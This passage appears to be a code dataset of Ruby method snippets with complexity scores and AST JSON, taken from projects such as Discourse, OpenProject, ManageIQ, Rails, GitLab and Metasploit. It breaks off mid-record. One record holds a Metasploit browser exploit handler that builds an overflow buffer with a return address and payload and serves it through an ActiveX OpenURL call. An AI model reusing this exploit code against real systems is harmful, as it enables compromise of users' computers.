{\"type\":\"lvar\",\"children\":[\"diff_line\"]},\"text\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"PREFIX_REGEXP\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rich_line\"]},\"prepend\",{\"type\":\"lvar\",\"children\":[\"line_prefix\"]}]},\"concat\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]}]}]}","id":"66564250-cd66-4141-83b1-19eb18b9348d"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":1350,"raw_source":"def process_user_stat(user_stat)\n    user_stat[:user_id] = user_id_from_imported_id(user_email[:imported_user_id])\n    user_stat[:topics_entered] ||= 0\n    user_stat[:time_read] ||= 0\n    user_stat[:days_visited] ||= 0\n    user_stat[:posts_read_count] ||= 0\n    user_stat[:likes_given] ||= 0\n    user_stat[:likes_received] ||= 0\n    user_stat[:new_since] ||= NOW\n    user_stat[:post_count] ||= 0\n    user_stat[:topic_count] ||= 0\n    user_stat[:bounce_score] ||= 0\n    user_stat[:digest_attempted_at] ||= NOW\n    user_stat\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_user_stat\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_email\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"imported_user_id\"]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topics_entered\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"time_read\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"days_visited\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"posts_read_count\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"likes_given\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"likes_received\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_since\"]}]},{\"type\":\"const\",\"children\":[null,\"NOW\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_count\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_count\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bounce_score\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_stat\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"digest_attempted_at\"]}]},{\"type\":\"const\",\"children\":[null,\"NOW\"]}]},{\"type\":\"lvar\",\"children\":[\"user_stat\"]}]}]}","id":"bdec6b72-5797-4797-a045-5ce25dae71cd"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/endpoints/schema.rb","start_line":52,"raw_source":"def mount\n            schema = self\n\n            -> do\n              schema.render(self)\n            end\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"mount\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schema\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},\"render\",{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"bf74df8b-ea93-4dec-b3bf-6c83a621bc21"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":1312,"raw_source":"def get_performance_metric(capture_interval, metric, range, function = nil)\n    # => capture_interval = 'realtime' | 'hourly' | 'daily'\n    # => metric = perf column name (real or virtual)\n    # => function = :avg | :min | :max\n    # => range = [start_time, end_time] | start_time | number in seconds to go back\n\n    time_range = if range.kind_of?(Array)\n                   range\n                 elsif range.kind_of?(Time)\n                   [range.utc, Time.now.utc]\n                 elsif range.kind_of?(String)\n                   [range.to_time(:utc), Time.now.utc]\n                 elsif range.kind_of?(Integer)\n                   [range.seconds.ago.utc, Time.now.utc]\n                 else\n                   raise \"Range #{range} is invalid\"\n                 end\n\n    klass = case capture_interval.to_s\n            when 'realtime' then HostMetric\n            else HostPerformance\n            end\n\n    perfs = klass.where(\n      [\n        \"resource_id = ? AND capture_interval_name = ? AND timestamp >= ? AND timestamp <= ?\",\n        id,\n        capture_interval.to_s,\n        time_range[0],\n        time_range[1]\n      ]\n    ).order(\"timestamp\")\n\n    if capture_interval.to_sym == :realtime && metric.to_s.starts_with?(\"v_pct_cpu_\")\n      vm_vals_by_ts = get_pct_cpu_metric_from_child_vm_performances(metric, capture_interval, time_range)\n      values = perfs.collect { |p| vm_vals_by_ts[p.timestamp] || 0 }\n    else\n      values = perfs.collect(&metric.to_sym)\n    end\n\n    # => returns value | [array of values] (if function.nil?)\n    return values if function.nil?\n\n    case function.to_sym\n    when :min, :max then values.send(function)\n    when :avg\n      return 0 if values.length == 0\n\n      (values.compact.sum / values.length)\n    else\n      raise _(\"Function %{function} is invalid, should be one of :min, :max, :avg or nil\") % {:function => function}\n    end\n  end","complexity_score":86.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_performance_metric\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"capture_interval\"]},{\"type\":\"arg\",\"children\":[\"metric\"]},{\"type\":\"arg\",\"children\":[\"range\"]},{\"type\":\"optarg\",\"children\":[\"function\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time_range\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Time\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"utc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"to_time\",{\"type\":\"sym\",\"children\":[\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"seconds\"]},\"ago\"]},\"utc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Range \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"str\",\"children\":[\" is invalid\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capture_interval\"]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"realtime\"]},{\"type\":\"const\",\"children\":[null,\"HostMetric\"]}]},{\"type\":\"const\",\"children\":[null,\"HostPerformance\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"perfs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"resource_id = ? AND capture_interval_name = ? AND timestamp >= ? AND timestamp <= ?\"]},{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capture_interval\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_range\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_range\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capture_interval\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"realtime\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"to_s\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"v_pct_cpu_\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vm_vals_by_ts\",{\"type\":\"send\",\"children\":[null,\"get_pct_cpu_metric_from_child_vm_performances\",{\"type\":\"lvar\",\"children\":[\"metric\"]},{\"type\":\"lvar\",\"children\":[\"capture_interval\"]},{\"type\":\"lvar\",\"children\":[\"time_range\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perfs\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vm_vals_by_ts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"timestamp\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perfs\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric\"]},\"to_sym\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"function\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"function\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"function\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"avg\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"compact\"]},\"sum\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"length\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Function %{function} is invalid, should be one of :min, :max, :avg or nil\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"lvar\",\"children\":[\"function\"]}]}]}]}]}]}]}]}","id":"8a1bdbb1-26b0-460a-852a-76f77aa06395"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":360,"raw_source":"def around(controller)\n      before(controller)\n      yield\n      after(controller)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"around\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before\",{\"type\":\"lvar\",\"children\":[\"controller\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"after\",{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]}]}","id":"1fbeb323-ad49-4148-b56b-d147aa11b46c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/file_downloads/filename_fetch.rb","start_line":20,"raw_source":"def remote_filename\n        @remote_filename ||= begin\n          pattern = BulkImports::FileDownloads::FilenameFetch::REMOTE_FILENAME_PATTERN\n          name = response_headers['content-disposition'].to_s\n            .match(pattern)                                # matches the filename pattern\n            .then { |match| match&.named_captures || {} }  # ensures the match is a hash\n            .fetch('filename')                             # fetches the 'filename' key or raise KeyError\n\n          name = File.basename(name) # Ensures to remove path from the filename (../ for instance)\n          ensure_filename_size(name) # Ensures the filename is within the FILENAME_SIZE_LIMIT\n        end\n      rescue KeyError\n        raise_error 'Remote filename not provided in content-disposition header'\n      end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@remote_filename\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"FileDownloads\"]},\"FilenameFetch\"]},\"REMOTE_FILENAME_PATTERN\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response_headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content-disposition\"]}]},\"to_s\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},\"then\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"named_captures\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ensure_filename_size\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"str\",\"children\":[\"Remote filename not provided in content-disposition header\"]}]}]},null]}]}","id":"2448c466-bf3d-4287-9036-769a8c15aec8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/placeholder_users/show_page_header_component.rb","start_line":63,"raw_source":"def delete_button_title\n      if deletable?\n        I18n.t(:button_delete)\n      else\n        I18n.t(\"placeholder_users.right_to_manage_members_missing\")\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_button_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deletable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_delete\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"placeholder_users.right_to_manage_members_missing\"]}]}]}]}","id":"38c6c550-dc21-4d2f-9890-9630738b4022"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-rss-polling/app/models/discourse_rss_polling/feed_item.rb","start_line":55,"raw_source":"def url?(link)\n      link.present? && link =~ %r{^https?\\://}\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"url?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^https?\\\\://\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"6f1fe3b4-3f69-4cee-b82a-f5fa405f3e0f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/db_export.rb","start_line":3,"raw_source":"def run_db_export(opts)\n    wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n    exporter = Msf::DBExport.new(wspace)\n\n    output_file = exporter.send(\"to_#{opts[:format]}_file\".intern, opts[:path]) do |mtype, mstatus, mname|\n      if mtype == :status\n        if mstatus == Msf::DBExport::STATUS_START\n          ilog \"    >> Starting export of #{mname}\"\n        end\n        if mstatus == Msf::DBExport::STATUS_COMPLETE\n          ilog \"    >> Finished export of #{mname}\"\n        end\n      end\n    end\n\n    File.expand_path(output_file)\n  end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_db_export\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exporter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBExport\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"wspace\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output_file\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exporter\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"to_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]},{\"type\":\"str\",\"children\":[\"_file\"]}]},\"intern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mtype\"]},{\"type\":\"arg\",\"children\":[\"mstatus\"]},{\"type\":\"arg\",\"children\":[\"mname\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mtype\"]},\"==\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mstatus\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBExport\"]},\"STATUS_START\"]}]},{\"type\":\"send\",\"children\":[null,\"ilog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    >> Starting export of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mname\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mstatus\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"DBExport\"]},\"STATUS_COMPLETE\"]}]},{\"type\":\"send\",\"children\":[null,\"ilog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    >> Finished export of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mname\"]}]}]}]},null]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"output_file\"]}]}]}]}","id":"872bfe7c-0fe2-45da-842d-d33c23838790"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/gom_openurl.rb","start_line":60,"raw_source":"def on_request_uri(cli, request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    # Randomize some things\n    vname\t= rand_text_alpha(rand(100) + 1)\n    strname\t= rand_text_alpha(rand(100) + 1)\n\n    # Set the exploit buffer\n    sploit = rand_text_english(506) + [target.ret].pack('V')\n    sploit << p.encoded + rand_text_english(1024 - p.encoded.length)\n\n    # Build out the message\n    content = %Q|\n      <html>\n      <object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='#{vname}'></object>\n      <script language='javascript'>\n      var #{vname} = document.getElementById('#{vname}');\n      var #{strname} = new String('#{sploit}');\n      #{vname}.OpenURL(#{strname});\n      </script>\n      </html>\n      |\n\n    print_status(\"Sending #{self.name}\")\n\n    # Transmit the response to the client\n    send_response_html(cli, content)\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":38.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"strname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"int\",\"children\":[506]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_english\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1024]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]},\"length\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      <html>\\n\"]},{\"type\":\"str\",\"children\":[\"      <object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"'></object>\\n\"]},{\"type\":\"str\",\"children\":[\"      <script language='javascript'>\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\" = document.getElementById('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strname\"]}]},{\"type\":\"str\",\"children\":[\" = new String('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".OpenURL(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strname\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"      </script>\\n\"]},{\"type\":\"str\",\"children\":[\"      </html>\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending 